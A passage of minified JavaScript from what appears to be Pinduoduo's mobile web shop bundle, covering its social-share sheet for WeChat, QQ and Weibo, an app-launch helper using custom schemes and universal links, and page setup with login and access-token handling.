""data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEIAAABCCAMAAADUivDaAAAAM1BMVEUAAABmZmZmZmZlZWVmZmZmZmZlZWVlZWVoaGhlZWVkZGRmZmZlZWVlZWVlZWVmZmZmZmauFdI/AAAAEHRSTlMAhnjzbtHHEBrfJrGXRzZXUNTSwgAAAPRJREFUWMPt1+sKgzAMBWC71NbLLuf9n3a6sxFYN2vq/gxyEBSFz9pGaLpdOYucuyPJCUtSbheGHo/0Q6swjXhmnNqEqwCYHwfk2iJcFkEuJyDwyi7c+O6V4HhuViFyBkhwVqJNCFwHEq+1CTaB1UCCFWI0BJiXkxJLZkAso2BVK8FaD509SjB/QcQkWBO2iYA1kuLHn5KRbQKvFL8vhT2jUKOs55j3z0WORcUnvVEj9EF6/8JsIzKAd8K6qE444cTviNNBYhrHqZnQOOGEE0444USdyDYhA1Lsfs1dRqrtwTXVPTjTw5y+6EfMwvCtK6pHu6I7B+8m1re+k3UAAAAASUVORK5CYII="", + je = n(""EhKJ""), + qe = u.a.getInstance(), + Ve = { + Success: ""success"", + Fail: ""fail"", + Cancel: ""cancel"", + Complete: ""complete"" + }, + Fe = { + domain: ""http://hz.pin18pin.com/"", + start: ""https://open.weixin.qq.com/connect/oauth2/authorize?response_type=code&scope=snsapi_base&appid={0}&redirect_uri={1}"" + }, + Ke = O.a.getCDNImgURL(""base/share_icons/share_sprite.png""), + He = E.a.constant, + ze = E.a.shareType, + Je = {}; + Je = E.a.get(location.host), + n(""Rr5R""); + var Ye = function() { + var e = !Je.shop.weChatTimelineShareDisabled, + t = !0, + i = !0, + u = {}, + p = null, + d = null, + h = function() { + return Be.Native.getInstance().getShareInfo() + }, + f = ["""", ""message"", ""timeline"", ""weibo"", ""qq"", ""qzone"", ""qq_weibo"", ""message"", ""timeline""]; + var m = n(""fhzG"")({ + getInitialState: function() { + return { + visible: !1, + animating: !1, + showIcons: !0, + canShareToWeChatTimeline: e, + canShareToQQ: t, + canShareToWeibo: i, + html: function() {} + } + }, + share: function(e) { + var t = this, + n = o.a.extend(h(), t.props.shareInfo || {}); + if (n.title && n.message) { + Be.Native.getInstance().onShareClick(f[e], { + shareType: e + }), + ""anniversary"" !== n.page || s.a.hasAccessToken() || s.a.ensureLogin(null, null, ""anniversary.html?inner_from=login4share""), + e = parseInt(e, 10); + var i = qe.getPageInfoByUrl(n.shareURL); + if (i && i.tkShareClick) { + var u = { + useExistsParams: !0, + op: ""click"", + event: ""share_btn_clk"", + page_name: i.getPageName(), + page_section: ""icon_list"", + page_element: f[e] + }; + n.extra && (u = o.a.extend(u, n.extra.tkShareClickParams)), + c.a.trackingRecord(u) + } + var p = function() { + if (e == ze.Weibo) + return Je.RedirectURI.Weibo + }(), + m = n.shareURLs[e] || n.shareURL; + e === ze.WeChatTimelineImage && (m = a.a.buildURL({ + from: ""qrImg"" + }, m, Je.shareDomain)); + var g = n.thumbnailURL; + [ze.WeChatSession, ze.WeChatSessionApp].indexOf(e) >= 0 && (g = n.thumbnailURL4WeChatMsg || n.thumbnailURL); + var v = ""JSShare""; + if (r.b.isModuleVersion && r.b.Current === r.b.Android && (v = ""AMShare""), + ze.WeChatTimeline === e) { + var _ = n.timelineDomain.indexOf(""http"") > -1 ? n.timelineDomain : ""http://"" + n.timelineDomain; + if (m = a.a.buildURL({}, m, _), + n.useSubDirectoryURL) { + var b = m.match(/(?:http|https):\/\/(?:[\w\-]+(?:\.[\w\-]+)+)(?:\/?)(?:((?:[\w\-\.]+\/)*[\w\-\.]+)\.html)?\??/), + y = """"; + if (b && b[1]) { + y = b[1]; + var w = m.indexOf(y); + if (w) { + var S = o.a.getRandomString(8) + ""/""; + m = m.slice(0, w) + S + m.slice(w) + } + } + } + m = o.a.format(Fe.start, n.timelineAppId, encodeURIComponent(m)) + } + var C = { + title: n.title, + desc: n.message, + image: n.imageURL, + thumbnail: g, + share_url: m, + options: n.template + }; + n.mini_object_path && (C.mini_object_path = n.mini_object_path), + l.a.callNative(v, ""callNativeShare"", { + type: e, + redirect_uri: p, + share_params: C + }, function() { + ""anniversary"" !== n.page && t.shareCallback(e, !0), + o.a.call(d) + }, function(n) { + var r = E.a.error; + n = parseInt(n, 10); + var a = !1; + r && r.NativeUserCancel && n === r.NativeUserCancel.code && (a = !0), + t.shareCallback(e, !1, a) + }), + ""anniversary"" === n.page && t.shareCallback(e, !0) + } + }, + shareCallback: function(e, t, n) { + Be.Native.getInstance().shareCallback(f[e], t ? Ve.Success : n ? Ve.Cancel : Ve.Fail, { + shareType: e, + isSuccess: t + }) + }, + appear: function() { + var e = this; + if (!this.state.animating) { + u.isAnnv && (u.isAnnv = !s.a.isAB()); + var t = document.getElementById(""share-mask""), + n = document.getElementById(""share-content""), + r = this.state.visible; + this.setState({ + visible: !0, + animating: !0 + }); + var a = function() { + e.setState({ + animating: !1 + }) + }; + t && o.a.animate(t, { + start: { + x: t.style.opacity || 0 + }, + dest: { + x: u && u.opacity || 1 + }, + transFunc: function(e) { + this.style.opacity = e + } + }, 300, a), + n && o.a.animate(n, { + start: { + x: r ? 0 : n.offsetHeight + }, + dest: { + x: 0 + }, + transFunc: function(e) { + this.style.webkitTransform = ""translateY("" + Math.round(e) + ""px)"" + } + }, 300, a) + } + }, + componentDidMount: function() { + this.show() + }, + show: function(n) { + var a = this, + o = this; + if (r.b.Current, + r.b.Android, + r.b.isModuleVersion) + if (r.b.Current === r.b.IOS) + l.a.check(""AMNavigator"", ""mask"", function(e) { + e ? l.a.callNative(""AMNavigator"", ""mask"", { + type: ""web"", + props: { + url: ""app_share.html"", + opaque: !1, + extra: { + share_info: h(), + directExpose: n + } + } + }) : o.appear() + }); + else { + var s = { + backgroundImage: ""url("" + Ke + "")"" + }; + o.setState({ + canShareToWeChatTimeline: e, + canShareToQQ: t, + canShareToWeibo: i, + html: function(e) { + var t = (h() || {}).extra || {}, + n = null; + t.isRouletteAssist && t.assistLackPeople && (n = w.a.createElement(""div"", { + className: ""commercial-bargain-group-tip"" + }, w.a.createElement(""p"", null, ""还差"", w.a.createElement(""b"", null, t.assistLackPeople), ""位好友助力,即可获得1次抽奖机会""), w.a.createElement(""p"", null, ""快去邀请好友助力吧""))); + var r = t.isKnotClct ? w.a.createElement(""div"", { + className: ""knot-clct-hint"" + }, t.hint) : null, + i = t.isActFreeGroup ? w.a.createElement(""div"", { + className: ""act-free-group"" + }, w.a.createElement(""p"", null, ""邀请"", w.a.createElement(""b"", null, "" "", t.remainPayAmount, "" ""), ""位好友支付"", t.actMemberPrice, ""元即可免费领取"")) : null; + return w.a.createElement(""div"", { + style: { + display: a.state.visible + } + }, w.a.createElement(""div"", { + id: ""share-mask"", + onClick: function(e) { + return a.hide(!0, !0) + } + }, n, r, i), w.a.createElement(""div"", { + id: ""share-content"", + style: { + display: a.state.showIcons + } + }, w.a.createElement(""ul"", null, w.a.createElement(""li"", { + className: ""wechat-share"", + onClick: function(e) { + return a.share(1) + } + }, w.a.createElement(""i"", { + className: ""share-icon-base share-icon-wechat"", + style: s + }), w.a.createElement(""span"", null, ""微信好友"")), w.a.createElement(""li"", { + className: ""wechattimeline-share"", + onClick: function(e) { + return a.share(2) + }, + style: { + display: a.state.canShareToWeChatTimeline ? """" : ""none"" + } + }, w.a.createElement(""i"", { + className: ""share-icon-base share-icon-moments"", + style: s + }), w.a.createElement(""span"", null, ""朋友圈"")), w.a.createElement(""li"", { + className: ""qq-share"", + onClick: function(e) { + return a.share(4) + }, + style: { + display: a.state.canShareToQQ ? """" : ""none"" + } + }, w.a.createElement(""i"", { + className: ""share-icon-base share-icon-qq"", + style: s + }), w.a.createElement(""span"", null, ""QQ"")), w.a.createElement(""li"", { + className: ""qqzone-share"", + onClick: function(e) { + return a.share(5) + }, + style: { + display: a.state.canShareToQQ ? """" : ""none"" + } + }, w.a.createElement(""i"", { + className: ""share-icon-base share-icon-qqzone"", + style: s + }), w.a.createElement(""span"", null, ""QQ空间"")), w.a.createElement(""li"", { + onClick: function(e) { + return a.share(3) + }, + style: { + display: a.state.canShareToWeibo ? """" : ""none"" + } + }, w.a.createElement(""i"", { + className: ""share-icon-base share-icon-sina"", + style: s + }), w.a.createElement(""span"", null, ""微博""))), w.a.createElement(""p"", { + className: ""share-btn"", + onClick: function(e) { + return a.hide(!0, !0) + } + }, ""取消""))) + } + }, function(e) { + o.appear() + }) + } else + this.appear() + }, + hide: function(e, t) { + var n = this; + if (this.setState({ + html: function(e) {} + }), !this.state.animating) { + var a = e ? 300 : 0, + i = document.getElementById(""share-mask""), + s = document.getElementById(""share-content""); + this.setState({ + animating: !0 + }); + var c = function() { + n.setState({ + animating: !1, + visible: !1 + }), + t && r.b.isModuleVersion && l.a.callNative(""AMNavigator"", ""dismissMask"") + }; + i && o.a.animate(i, { + start: { + x: 1 + }, + dest: { + x: 0 + }, + transFunc: function(e) { + this.style.opacity = e + } + }, a, c), + s && o.a.animate(s, { + start: { + x: parseInt(function(e) { + var t = {}; + return e && (t = window.getComputedStyle(e) || t), + t + }(s).bottom, 10) || 0 + }, + dest: { + x: s.offsetHeight + }, + transFunc: function(e) { + this.style.webkitTransform = ""translateY("" + Math.round(e) + ""px)"" + } + }, a, c) + } + }, + render: function() { + return w.a.createElement(""div"", null, this.state.html()) + } + }); + return window.share = { + getTimeLineShareDomain: function() { + var e = Je.shareDomains[ze.WeChatTimeline]; + return ""string"" == typeof e ? e : e[o.a.getSelfUID() % e.length] + }, + getShareDomain: function(e) { + if (e === ze.WeChatTimeline) + return this.getTimeLineShareDomain(); + var t = [Je.shareDomain].concat(Je.BeiTaiShareDomains || []); + return t[o.a.getSelfUID() % t.length] + }, + getShareUrl: function(e, t) { + var n = Je.shareDomain; + return e.match(/group\d+.html/) && (n = this.getShareDomain(t)), + e = a.a.buildURL(null, e, n) + }, + prepareShare_: function(e, t) { + var n = Je.shop.name + ""商城"", + i = ""风靡全国的拼单商城,优质商品新鲜直供,快来一起"" + Je.shop.name + ""吧"", + s = Je.shop.logo; + if ((null == (e = e || {}).title || e.title.length <= 0) && (e.title = n), (null == e.message || e.message.length <= 0) && (e.message = i), + null == e.thumbnailURL || e.thumbnailURL.length <= 0) + e.thumbnailURL = s; + else { + var c = He.WaterMark.Default; + null != e.waterMark && e.waterMark.length >= 0 && (c = e.waterMark); + var u = e.thumbnailURL; + e.thumbnailURL = O.a.addWaterMark(u, c), + c === He.WaterMark.Default && (e.thumbnailURL4WeChatMsg = O.a.addWaterMark(u, He.WaterMark.WeChatMsg)), + e.thumbnailURL = O.a.addWaterMark(e.thumbnailURL, c) + } + e.thumbnailURL4WeChatMsg = e.thumbnailURL4WeChatMsg || e.thumbnailURL, (null == e.shareURL || e.shareURL.length <= 0) && (e.shareURL = ""index.html""), (null == e.timelineMessage || e.timelineMessage.length <= 0) && (e.timelineMessage = e.message), + e.shareURL = a.a.buildURL({ + code: null, + from: null, + isappinstalled: null, + at: null + }, a.a.fullURL(e.shareURL)), + e.shareURL = this.getShareUrl(e.shareURL); + var l = e.timelineShortURL || """"; + if (l.length <= 0 && (l = a.a.buildURL({ + _wv: 1, + _wvx: 10 + }, e.shareURL, this.getTimeLineShareDomain())), + r.b.isWeChatPlatform()) { + if (null == window.wx) + return o.a.call(t, !1); + wx.onMenuShareAppMessage({ + title: e.title, + desc: e.message, + imgUrl: e.thumbnailURL4WeChatMsg, + link: a.a.buildURL({ + _wv: 1, + _wvx: 10 + }, e.shareURL), + type: ""link"", + success: function(t) { + o.a.call(e.appMessageShareSuccess) + }, + cancel: function(t) { + o.a.call(e.appMessageShareCancel) + } + }), + wx.onMenuShareTimeline({ + title: e.timelineMessage, + imgUrl: e.thumbnailURL, + link: l, + success: function(t) { + o.a.call(e.timelineShareSuccess) + }, + cancel: function(t) { + o.a.call(e.timelineShareCancel) + } + }), + wx.onMenuShareQQ({ + title: e.title, + desc: e.message, + imgUrl: e.thumbnailURL, + link: a.a.buildURL({ + _wv: 1, + sf_tag: ""wechat"", + _wvx: 10 + }, e.shareURL, Je.shareDomains[ze.QQChatSession]), + success: function(t) { + o.a.call(e.qqShareSuccess) + }, + cancel: function(t) { + o.a.call(e.qqShareCancel) + } + }), + wx.onMenuShareQZone({ + title: e.title, + desc: e.message, + imgUrl: e.thumbnailURL, + link: a.a.buildURL({ + _wv: 1, + sf_tag: ""wechat"", + _wvx: 10 + }, e.shareURL, Je.shareDomains[ze.QQZone]), + success: function(t) { + o.a.call(e.qqZoneShareSuccess) + }, + cancel: function(t) { + o.a.call(e.qqZoneShareCancel) + } + }), + wx.onMenuShareWeibo({ + title: e.title, + desc: e.message, + imgUrl: e.thumbnailURL, + link: e.shareURL, + success: function(t) { + o.a.call(e.qqWeiboShareSuccess) + }, + cancel: function(t) { + o.a.call(e.qqWeiboShareCancel) + } + }), + o.a.call(t, !0) + } else if (r.b.isQQPlatform()) { + if (null == window.mqq) + return o.a.call(t, !1); + mqq.onMenuShareAppMessage({ + title: e.title, + desc: e.message, + imgUrl: e.thumbnailURL4WeChatMsg, + link: e.shareURL, + type: ""link"", + success: function(t) { + o.a.call(e.appMessageShareSuccess) + }, + cancel: function(t) { + o.a.call(e.appMessageShareCancel) + } + }), + mqq.onMenuShareTimeline({ + title: e.timelineMessage, + imgUrl: e.thumbnailURL, + link: l, + success: function(t) { + o.a.call(e.timelineShareSuccess) + }, + cancel: function(t) { + o.a.call(e.timelineShareCancel) + } + }), + mqq.onMenuShareQQ({ + title: e.title, + desc: e.message, + imgUrl: e.thumbnailURL, + link: a.a.buildURL({ + _wv: 1, + _wvx: 10 + }, e.shareURL, Je.shareDomains[ze.QQChatSession]), + success: function(t) { + o.a.call(e.qqShareSuccess) + }, + cancel: function(t) { + o.a.call(e.qqShareCancel) + } + }), + mqq.onMenuShareQzone({ + title: e.title, + desc: e.message, + imgUrl: e.thumbnailURL, + link: a.a.buildURL({ + _wv: 1, + _wvx: 10 + }, e.shareURL, Je.shareDomains[ze.QQZone]), + success: function(t) { + o.a.call(e.qqZoneShareSuccess) + }, + cancel: function(t) { + o.a.call(e.qqZoneShareCancel) + } + }) + } else + r.b.isWeiboPlatform() ? (N.changeTitle(e.title), + o.a.call(t, !0)) : r.b.isNativePlatform() || o.a.call(t, !0) + }, + prepareShare: function(e, t) { + var n = this; + r.b.isWeChatPlatform() && !window.wxReady ? (window.wxAfterReady = window.wxAfterReady || [], + window.wxAfterReady.unshift(function() { + n.prepareShare__(e, t) + })) : r.b.isQQPlatform() && !window.qqReady ? (window.qqAfterReady = window.qqAfterReady || [], + window.qqAfterReady.unshift(function() { + n.prepareShare__(e, t) + })) : n.prepareShare__(e, t) + }, + prepareShare___: function(n, a) { + var s = h(); + e = s.forceShareToWeChatTimeline || !Je.shop.weChatTimelineShareDisabled, + r.b.isNativePlatform() && s.shareToWeChatTimelineInAppDisabled && (e = !1), + e = r.b.isNativePlatform() && (s.shareURL.match(/group\d+.html/) || s.shareURL.match(/act_group.html/)) && ""1"" === (s.extra || {}).showShareTimeline, + t = function() { + if (h().onlyWeChat) + return !1; + var e = r.b.getAppVersion(); + return (r.b.Current !== r.b.IOS || 0 !== o.a.compareVersion(e, ""2.0.8"")) && (r.b.Current == r.b.IOS && o.a.compareVersion(e, ""1.1.0"") >= 0 || r.b.Current == r.b.Android && o.a.compareVersion(e, ""1.1.0"") >= 0) + }(), + i = !1, + u = s.extra || {}, + a && o.a.call(a) + }, + prepareShare__: function(e, t) { + var n = this, + a = { + userID: s.a.userID, + trackingRecord: c.a.trackingRecord, + shareDomain: Je.shareDomain, + shareDomains: Je.shareDomains, + imgShareDomain: Je.imgShareDomain, + beiTaiShareDomains: Je.BeiTaiShareDomains, + shop: Je.shop + }; + r.b.isWeChatPlatform() ? Be.WeChat.getInstance(a).prepare(e, t) : r.b.isQQPlatform() ? Be.QQ.getInstance(a).prepare(e, t) : r.b.isWeiboPlatform() ? (N.changeTitle(e.title), + o.a.call(t, !0)) : r.b.isNativePlatform() ? Be.Native.getInstance(a).prepare(e, function(e) { + n.prepareShare___(Be.Native.getInstance().getShareInfo(), function() { + o.a.call(t, e) + }) + }) : o.a.call(t, !0) + }, + setupNativeShareButton: function() { + var e = document.createElement(""div""); + document.body.appendChild(e), + this.manuallyShowShareInstance = function() { + p ? p.show() : p = C.a.render(w.a.createElement(m, null), e) + }, + r.b.isNativeTabBarVersion ? l.a.callNative(""JSUIControl"", ""setRightBarButtons"", { + buttons: [{ + icons: { + normal: r.b.isShareButtonV2 ? Qe : Ge + }, + callback: function() { + p ? p.show() : p = C.a.render(w.a.createElement(m, null), e) + }, + size: r.b.isShareButtonV2 ? 22 : null + }] + }) : ! function() { + var e = r.b.getAppVersion(); + return r.b.Current == r.b.IOS && o.a.compareVersion(e, ""2.0.0"") >= 0 + }() ? l.a.callNative(""JSShare"", ""registerShareCommand"", { + command: ""Share.appear()"" + }) : l.a.callNative(""JSUIControl"", ""setRightBarButtons"", { + buttons: [{ + icons: { + normal: r.b.isShareButtonV2 ? Qe : Ge + }, + size: r.b.isShareButtonV2 ? 22 : null + }] + }, function() { + je.a.register(""onRightBarButtonPress"", function() { + p ? p.show() : p = C.a.render(w.a.createElement(m, null), e) + }) + }) + }, + setSuccessFunc: function(e) { + d = e + }, + canShareToQQ: t, + canShareToWeibo: i, + canShareToWeChatTimeline: e, + showAppShare: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + share.prepareShare(e, function() {}); + var t = document.createElement(""div""); + document.body.appendChild(t), + p ? p.show() : p = C.a.render(w.a.createElement(m, { + shareInfo: e + }), t) + }, + canShareWeChatTimelineNoSDK: function() { + var e = r.b.getAppVersion(); + return r.b.Current !== r.b.IOS && (r.b.Current === r.b.Android ? o.a.compareVersion(e, ""3.12.0"") >= 0 : void 0) + } + } + }(), + Ze = n(""+qE3""), + Xe = n(""Pn5d""), + $e = { + SHOW: 0, + HIDE: 1 + }, + et = { + WK_TRY_FRESH: 0 + }, + tt = null; + + function nt() { + this.pageStatus = $e.SHOW, + this.maxSize = 0 + } + ie.a.inherits(nt, Ze.EventEmitter), + nt.PageStatus = $e, + nt.EventType = et, + nt.prototype.init = function(e) { + var t = this; + e = e || {}, + this.maxSize = e.maxSize || this.maxSize, + this.setMaxListeners(this.maxSize), + window && window.addEventListener(""pageshow"", function() { + t.onPageShow() + }) + }, + nt.prototype.onPageShow = function() { + this.pageStatus = $e.SHOW, + Xe.a.isWKWebView && this.emit(et.WK_TRY_FRESH) + }, + nt.prototype.onPageHide = function() { + this.pageStatus = $e.HIDE + }, + nt.getInstance = function() { + return tt || (tt = new nt), + tt + }; + var rt = nt, + at = function() { + function e(t) { + m()(this, e), + t = t || {}, + this.schemeURL = t.schemeURL || """", + this.universalLink = t.universalLink || """", + this.launchType = t.launchType || 0, + this.defaultTagID = ""pdd-launch-node"", + this.env = {}, + this.checkBrowserEnv(), + this.lock = !1 + } + return e.prototype.checkBrowserEnv = function() { + var e = this.env; + e.ua = (navigator.userAgent || navigator.vendor || window.opera || """").toLowerCase(), + e.isIOS = !!r.b.IOSSystemVersion, + e.isAndroid = /android|adr/.test(e.ua) && !/windows phone/.test(e.ua), + e.isIOS9Above = r.b.compareVersion(r.b.IOSSystemVersion, ""9.0.0"") >= 0, + e.hasIntentTest = /chrome|samsung/.test(e.ua), + e.noIntentTest = /360 aphone|weibo|windvane|ucbrowser/.test(e.ua), + e.canIntent = e.hasIntentTest && e.isAndroid && !e.noIntentTest, + e.isChrome = /(?:chrome|crios)\/([\d\.]+)/.test(e.ua), + e.isQQ = /qq\/|mqqbrowser\/[\d\.]+/.test(e.ua), + e.isChrome && (e.isWebView = /version\/[\d\.]+\s*chrome/.test(e.ua)), + e.isOriginalChrome = e.isAndroid && e.isChrome && e.isWebView, + this.show(JSON.stringify(e)) + }, + e.prototype.open = function(e) { + var t = this; + return new Promise(function(n, r) { + t.lock = !0, + t.tryOpen(e), + t.poll(function(e) { + e ? n() : r() + }) + }) + }, + e.prototype.poll = function(e) { + var t = function(t, n) { + if (t > 2500 || document.hidden || document.webkitHidden) { + var r = e; + e = null, + r && r(!0) + } else + n && e && e(!1) + }, + n = new Date, + r = 0, + a = setInterval(function() { + var e = new Date - n; + ++r >= 100 || e > 2500 ? (clearInterval(a), + t(e, !0)) : t(e, !1) + }, 20) + }, + e.prototype.tryOpen = function(e) { + e = e || this.schemeURL; + var t = this.env || {}; + if (this.show(""url is "" + e), + this.launchType) + switch (this.launchType) { + case 1: + this.tryOpenByTag(e); + break; + case 2: + this.tryOpenDirectly(e); + break; + case 3: + this.tryOpenByIframe(e) + } else + t.isIOS ? this.tryOpenByTag(e) : t.isQQ ? this.tryOpenByTag(e) : t.isOriginalChrome ? this.tryOpenDirectly(e) : this.tryOpenByIframe(e) + }, + e.prototype.tryOpenDirectly = function(e) { + this.show(""tryOpenDirectly""), + window.location.href = e + }, + e.prototype.tryOpenByIframe = function(e) { + this.show(""tryOpenByIframe""); + var t = document.createElement(""iframe""); + t.src = e, + t.style.display = ""none"", + document.body.appendChild(t) + }, + e.prototype.tryOpenByTag = function(e) { + var t = this; + this.show(""tryOpenByTag""); + var n = document.getElementById(this.defaultTagID); + n || ((n = document.createElement(""a"")).id = this.defaultTagID, + n.style.display = ""none"", + document.body.appendChild(n), + n.onclick = function() { + t.show(""clicked""), + window.location.href = e + } + ), + n.dispatchEvent(this.getCustomClickEvent()) + }, + e.prototype.getCustomClickEvent = function() { + var e = null; + return window.CustomEvent ? e = new window.CustomEvent(""click"", { + canBubble: !0, + cancelable: !0 + }) : (e = document.createEvent(""Event"")).initEvent(""click"", !0, !0), + e + }, + e.prototype.show = function(e) { + ""development"" === Object({ + BROWSER: !0, + ISAVALON: !1, + BUNDLE_PLATFORM: ""production"" + }) && alert(e) + }, + e + }(), + it = n(""zRS3""), + ot = u.a.getInstance(), + st = E.a.constant, + ct = E.a.error, + ut = (E.a.get(""undefined"" != typeof location ? location.host : """"), { + guard: !1, + hasPageScrolled: !1, + setPageScrollPosition: function(e, t) { + if ((e = e || {}).queries = e.queries || {}, + r.b.isModuleVersion || e.queries.sp || (e.queries.sp = h.default.getScrollTop(e.div)), + ""undefined"" != typeof document) { + var n = document.querySelector(""#nav-bar""); + n && (e.queries.nbsl = n.scrollLeft) + } + a.a.buildURL(e.queries); + i.a.replaceQuery(e.queries, t) + }, + getPageScrollData: function() { + return { + sp: parseInt(a.a.getParameter(""sp""), 10) || 0, + itemIndex: parseInt(a.a.getParameter(""item_index""), 10) || 0, + subjectScroll: a.a.getParameter(""subject_scroll"") + } + }, + initLogger: function() { + var e = location.pathname, + t = e.indexOf("".html""), + n = e.substring(1, t); + n.length <= 1 && (n = ""index""), + c.a.init(n) + }, + prepare_: function(e, t, n) { + this.initLogger(); + var u = s.a.hasAccessToken(); + null == e && (e = {}); + var l = e.usePDDShare || !1, + p = e.pddShareConfig || {}, + h = it.b.getInstance(o.a.extend({ + shareManagerConfig: { + disableShare: e.disableShare, + noDefaultShare: e.noDefaultShare + } + }, p)); + l && h.setup(); + var f = function(e, t) { + t.isSDKPrepare = !0, + e && h.prepareShare(t) + }, + m = function() { + o.a.call(t) + }, + g = function() { + var t = e.shareInfo || {}; + r.b.isWeChatPlatform() ? (m(), + re.prepareWeChatSDK(t, function(e) { + var n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}; + it.b.FLAG_WECHAT_SHARE_TIMELINE = n.share, + t.wechatAppID = n.wechatAppID, + t.magicTrace = n.magicTrace, + l ? (n.share && n.shareDomain && n.openAppID && (t.timelineDomain = n.shareDomain, + t.timelineAppId = n.openAppID), + f(e, t)) : e && !t.noDefaultShare && Ye.prepareShare(t), + ut.weChatGetAPPInstallStateAfterWxReady(function(e) { + var t = (e = e || {}).wxCheckPdd, + n = localStorage.getItem(st.LocalStorageKey.WxCheckPdd); + parseInt(n, 10) !== parseInt(t, 10) && c.a.trackingRecord({ + op: ""event"", + sub_op: ""app_check"", + uninstall_status: t + }), + localStorage.setItem(st.LocalStorageKey.WxCheckPdd, t) + }) + })) : r.b.isQQPlatform() ? (m(), + z.prepareQQSDK(t.forceShareToWeChatTimeline, function(e) { + l ? f(e, t) : e && !t.noDefaultShare && Ye.prepareShare(t) + })) : r.b.isNativePlatform() ? (l ? f(!0, t) : t.disableShare || Ye.prepareShare(t), + m()) : (l && f(!0, t), + m()) + }; + if (e.requireLogin || !r.b.isWeChatPlatform() && !r.b.isQQPlatform() || (e.requireLogin = !0), + u || !e.requireLogin) + r.b.isEmbeddedBrowser() && a.a.getParameter(""code"") && i.a.replaceURL(a.a.buildURL({ + code: null + })), + g(); + else if (r.b.isEmbeddedBrowser()) { + var v = r.b.isWeChatPlatform() ? st.AuthorizationType.WeChat : r.b.isWeiboPlatform() ? st.AuthorizationType.Weibo : r.b.isQQPlatform() ? st.AuthorizationType.QQ : void 0; + s.a.login(v, null, g, function(e) { + d.default.showToast(ct.getMsgFromCode(e)), + ""function"" == typeof n && n() + }) + } else { + var _ = e.loginParams ? e.loginParams : {}; + s.a.login(null, null, null, function() { + i.a.back() + }, null, !1, !1, _) + } + }, + loadMeta: function(e) { + if (r.b.isNativePlatform()) { + var t = function(t) { + var n = t || {}; + p.a.init(n), + p.a.checkAndShowAppUpdate({ + checkPasteboard: !0 + }), + o.a.call(e) + }; + l.a.callNative(""JSMeta"", ""get"", null, function(e) { + t(e) + }, function() { + t() + }, !0) + } else + o.a.call(e) + }, + prepare: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments[1], + n = arguments[2], + s = this; + if (!s.guard) { + s.guard = !0; + var c = o.a.getCookieByName(st.CookieKey.AccessToken), + u = document.querySelector(""#access-token-save""); + if (u) { + var l = {}; + c = u.dataset.at || """", + l[st.CookieKey.AccessToken] = c.length > 0 ? c : null, + o.a.setCookie(l) + } + var d = localStorage.getItem(""AccessToken"") || """"; + c.length > 0 && d !== c && o.a.saveToLocalStorage(""AccessToken"", c), + 0 === c.length && o.a.saveToLocalStorage(""AccessToken"", null), + a.a.pageParseQuery(), + ot.init(null, { + isModuleVersion: r.b.isModuleVersion, + AppUtils: p.a, + pageProperty: e.pageProperty, + callback: function() { + i.a.replaceQuery({ + page_id: ot.getPageID() + }), + s.loadMeta(function() { + s.setKeyParams({ + component_info: p.a.getHybridPackVersion(e && e.hybridPackName) + }), (!ot.hasIndividualPV() && !ot.isAppModal() || e && e.isSkipPv) && s.setKeyParams(ot.getKeyParamsFromQuery(), !0) + }) + } + }), + e.noDefaultTitle && !e.title || N.changeTitle(e.title || ot.getPageInfo().title || document.title), + r.b.isModuleVersion ? (p.a.loadUserInfo(function() { + s.prepare_(e, t, n) + }), + p.a.registerSceneNotification(e.regEvents), + p.a.setupPullReload(e.disablePullReload)) : s.prepare_(e, t, n), + k.initGlobal() + } + }, + doAfterJSApiReady: function(e) { + r.b.isQQPlatform() ? window.qqAfterReady ? o.a.call(e) : (window.qqAfterReady = window.qqAfterReady || [], + window.qqAfterReady.push(e)) : r.b.isWeChatPlatform() ? window.wxReady ? o.a.call(e) : (window.wxAfterReady = window.wxAfterReady || [], + window.wxAfterReady.push(e)) : o.a.call(e) + }, + setKeyParams: function(e, t) { + ot.setKeyParams(e), + t && c.a && c.a.trackingRecord({ + op: ""pv"" + }) + }, + setBackButton: function(e, t, n) { + r.b.isModuleVersion ? p.a.setBackButton(e, t, n) : o.a.call(n) + }, + forwardForceContact: function(e, t, n) { + r.b.isQQPlatform() ? z.qqForwardForceContact(e, t, n) : r.b.isWeChatPlatform() && re.weChatForwardForceContact(e, t, n) + }, + checkInstalledApp: function(e, t, n) { + var a = r.b.isAndroidWeChatPlatform(), + i = r.b.isIOSWeChatPlatform(); + a ? ut.weChatGetAPPInstallStateAfterWxReady(function(n) { + n.installed ? e() : t() + }, function() { + t() + }) : i && n && n.hasAppLogin ? e() : t() + }, + checkInstalledAppV2: function(e, t, n) { + var a = r.b.isWeChatPlatform(), + i = r.b.isQQPlatform(); + (a || i) && n && ""1"" === n.monthActive ? e() : t() + }, + checkInstalledAppV3: function(e, t, n, r) { + var a = n && n.hasAppContainMobile; + n && n.isNewAppUser && a ? ""function"" == typeof e && e() : a && r ? ""function"" == typeof e && e() : ""function"" == typeof t && t() + }, + launchPDDApp: function(e, t, n, a) { + var i = ""pinduoduo://com.xunmeng.pinduoduo/""; + if (r.b.Current === r.b.WeChat) + this.wechatLaunchPDDApp(e, t, n, a); + else if (r.b.Current === r.b.Unknown || r.b.Current === r.b.QQ || r.b.Current === r.b.Weibo) { + var o = """"; + if (e = e.replace(/^https?:\/\/[^\/]*\//, """"), + a) { + var s = encodeURIComponent(i + e); + o = ""http://app.yangkeduo.com/universal-link?originalUrl="" + (encodeURIComponent(""http://mobile.yangkeduo.com/"") + a) + ""&scheme="" + s + } + new at({ + schemeURL: """" + i + e, + universalLink: o + }).open().then(function() { + t && t() + }, function() { + n && n() + }) + } else + n && n() + } + }); + ut = o.a.extend(ut, N), + ut = o.a.extend(ut, z), + ut = o.a.extend(ut, Ye), + ut = o.a.extend(ut, re); + var lt = {}; + lt = ut = o.a.extend(ut, rt); + t.a = lt + }, + ""8V/m"": function(e, t, n) {}, + ""8Zyp"": function(e, t, n) { + ""use strict""; + var r = n(""J4zp""), + a = n.n(r), + i = n(""o0o1""), + o = n.n(i), + s = n(""yXPU""), + c = n.n(s), + u = n(""yG8O""), + l = n.n(u), + p = n(""lwsE""), + d = n.n(p), + h = n(""W8MJ""), + f = n.n(h), + m = n(""U+yc""), + g = n.n(m), + v = (n(""1ABj""), + n(""2vnA"")), + _ = n(""mG/U""), + b = (n(""q1tI""), + n(""17x9"")), + y = n.n(b), + w = n(""fhzG""), + S = n.n(w), + C = 